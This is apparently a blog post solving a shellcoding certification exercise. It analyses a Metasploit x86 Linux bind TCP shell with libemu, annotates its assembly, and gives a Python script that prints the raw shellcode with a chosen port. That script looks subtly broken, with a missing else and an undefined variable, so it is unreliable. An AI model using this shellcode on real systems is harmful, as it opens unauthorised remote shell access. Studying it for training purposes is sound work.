Back to Posts

Share this post

SLAE – Assignment #1: Bind TCP Shell

Posted by: voidsec

Reading Time: 4 minutes

Before attending the Corelan training and the OSCE certification, I’ve decided to start the x86 Assembly Language and Shellcoding on Linux Pentester Academy’s course.

The next couple blogs (~7) will contains the assignments’ solutions for the SLAE certification exam.

Assignment #1: Bind TCP Shell

Create a shell_bind_tcp shellcode that binds to a port and execute a shell on an incoming connection, the port number should be easy to configure.

Instead of going for the path of writing a C bind TCP shell from scratch, I decided to generate a raw Metasploit payload and to analyze it with libemu.

Installing Libemu

Libemu it’s a library useful to perform x86 emulation and, in this case, I will use it to analyze some Metasploit’s payloads.

Let’s install some of the needed software and libraries:

sudo apt-get install git autoconf libtool
git clone
cd libemu
autoreconf -v -i
./configure --prefix=/opt/libemu
autoreconf -v -i
sudo make install

Analyzing the Shellcode

All the code is also available on GitHub.

In order to analyze the shellcode, I’ve decided to use the included sctest tool, which can run raw shellcode. The output provides registers status, flags and application’s system calls (like gdb). The emulator, moreover, also performs some analysis on the system calls and their parameters, providing an awesome C pseudo-code.

msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 100000 -G
dot -T png > bind_shellcode.png

Note: remember to use the shell_bind_tcp as it’s the non-staged version of the bind TCP shellcode.

The -G switch allow us to generate a beautiful graph image of the assembly instructions:

Analyzing the image, we can understand that the shellcode needs to do the following steps:

  1. Create a socket
  2. Bind the socket
  3. Listen on the socket for an incoming connection
  4. Duplicate the file descriptors
  5. Execute /bin/sh via execve


;----------- Create Socket ----------------------------
xor ebx,ebx                ; resetting the registers
mul ebx
push ebx                   ; 0 (protocol)
inc ebx                    ; ebx = 1
push ebx                   ; 1 (SOCK_STREAM)
push byte +0x2             ; 2 (AF_INET)
mov ecx,esp                ; ecx = args array struct
mov al,0x66                ; syscall 102 (socketcall)
int 0x80                   ; syscall
;----------- Bind the Socket --------------------------
pop ebx
pop esi
push edx
push dword 0x5c110002      ; pushing port number 4444
push byte +0x10            ; addrlen
push ecx
push eax
mov ecx,esp                ; ecx = args array struct for the syscall
push byte +0x66            ; syscall 102 (socketcall)
pop eax
int 0x80                   ; syscall
;----------- Listen socket for incoming connection ----
mov [ecx+0x4],eax
mov bl,0x4                 ; SYS_LISTEN
mov al,0x66                ; syscall 102 (socketcall)
int 0x80                   ; syscall
;----------- Accept Connection ------------------------
inc ebx
mov al,0x66                ; syscall 102 (socketcall)
int 0x80
;----------- Duplicate the file descriptor ------------
xchg eax,ebx
pop ecx
push byte +0x3f            ; syscall 63 (dup)
pop eax
int 0x80                   ; syscall
dec ecx                    ; decrement counter
jns 0x32
;----------- Execve -----------------------------------
push dword 0x68732f2f      ; hs//
push dword 0x6e69622f      ; nib/
mov ebx,esp                ; ebx = //bin/sh
push eax
push ebx
mov ecx,esp                ; argv = [filename,0]
mov al,0xb                 ; syscall 12 (execve)
int 0x80

Here the HEX encoded Metasploit payload:


Knowing that our configured port has been set to 4444 (hex 5c11, accounting the endianness), I built a simple python script allowing me to easily replace the port in our shellcode.

# Paolo Stagno aka [VoidSec](
# SLAE-1511
#!/usr/bin/env python

import sys;

if (len(sys.argv) == 1):
  port = 4444
  port = int(sys.argv[1])
  if port < 0 or port > 65535:
    print "[!] Invalid TCP port number {}, must be between 0-65535".format(port)
# convert to hex and strip 0x
# add an \\x every 2 chars
hport="\\x"+"\\x".join(a+b for a,b in zip(hport[::2],hport[1::2]))

shellcode= "\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x5b\\x5e\\x52\\x68\\x02\\x00{}\\x6a\\x10\\x51\\x50\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\x41\\x04\\xb3\\x04\\xb0\\x66\\xcd\\x80\\x43\\xb0\\x66\\xcd\\x80\\x93\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80".format(hport)

print "Bind TCP shellcode listening on port: {} - {}".format(port,hport)
print "\n"+shellcode

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1511

Back to Posts